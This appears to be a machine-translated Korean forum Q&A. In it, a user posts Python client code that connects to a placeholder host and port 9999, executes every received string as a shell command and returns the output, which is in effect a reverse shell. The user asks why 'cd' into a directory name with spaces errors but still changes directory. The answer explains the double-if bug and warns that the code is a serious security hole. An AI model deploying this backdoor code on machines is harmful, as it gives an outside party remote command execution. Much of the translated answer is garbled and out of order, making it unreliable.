2016-10-11 2 views
0
import os 
import socket 
import subprocess 
s = socket.socket() 
host = '<my-ip>' 
port = 9999 
s.connect((host, port)) 
while True: 
    data = s.recv(1024) 
    if data[:2].decode("utf-8") == 'cd': 
     os.chdir(data[3:].decode("utf-8")) 
    if len(data) > 0: 
     cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
     outputBytes = cmd.stdout.read() + cmd .stderr.read() 
     outputStr = str(outputBytes, "utf-8") 
     s.send(str.encode(outputStr + str(os.getcwd() + '> '))) 
     print (outputStr) 

# Close connection 
s.close() 

파이썬을 사용하여 원격 클라이언트 - 서버 응용 프로그램을 만들려고합니다.코드를 입력하면 디렉토리 오류가 발생하지만 여전히 디렉토리가 변경됩니다.

위 코드는 client.py의 코드입니다. 것은 모든 명령이 잘 작동하고 있습니다. 내가

"공간 디렉토리 이름"

CD를 사용할 때 그것은 나를이 오류 "지정된 경로를 찾을 수 없습니다"제공합니다. 하지만 여전히 디렉토리가 변경됩니다. 내가 왜 오류를 준 후에도 여전히 디렉토리를 변경하는 이유는 모르겠다.

답변

1

여기 두 if의가 있습니다 (이것은 'CD'로 시작하기 때문에)

if data[:2].decode("utf-8") == 'cd': 
    os.chdir(data[3:].decode("utf-8")) 
if len(data) > 0: 
    cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, 
          stdout=subprocess.PIPE, stderr=subprocess.PIPE, 
          stdin=subprocess.PIPE) 
  • 'CD'와 명령의 시작은 첫 번째 블록이 실행되는 경우가.

  • 명령이 'cd'로 시작하면 두 번째 블록도 실행됩니다 (길이가 0이기 때문에).

첫 번째 블록은 공백이 있어도 디렉토리를 변경합니다. 두 번째 블록은 그렇지 않습니다.

  • 'cdefgh''fgh'

  • 로 디렉토리를 변경합니다 :이 코드를 다른 문제가,

    if data[:2].decode("utf-8") == 'cd': 
        os.chdir(data[3:].decode("utf-8")) 
    elif len(data) > 0: 
        cmd = subprocess.Popen(... 
    

    을 BTW :

    당신은 실행에서 두 블록을 방지하기 위해 elif를 사용하려면

    'cd abc' 디렉토리를 ' abc'으로 변경하려고합니다. 이 바이러스보다 서버에 더 큰 보안 구멍을 같은 인터페이스입니다 노출 cd뿐만 아니라

  • 사용하지 왜 Popencd하지만 아무것도 사용할 경우 아마

  • 실패, 나는 볼 수 없습니다 만들려고 할 수 있습니다. 배우기 만하면 바로 코드를 태워주세요.)

관련 문제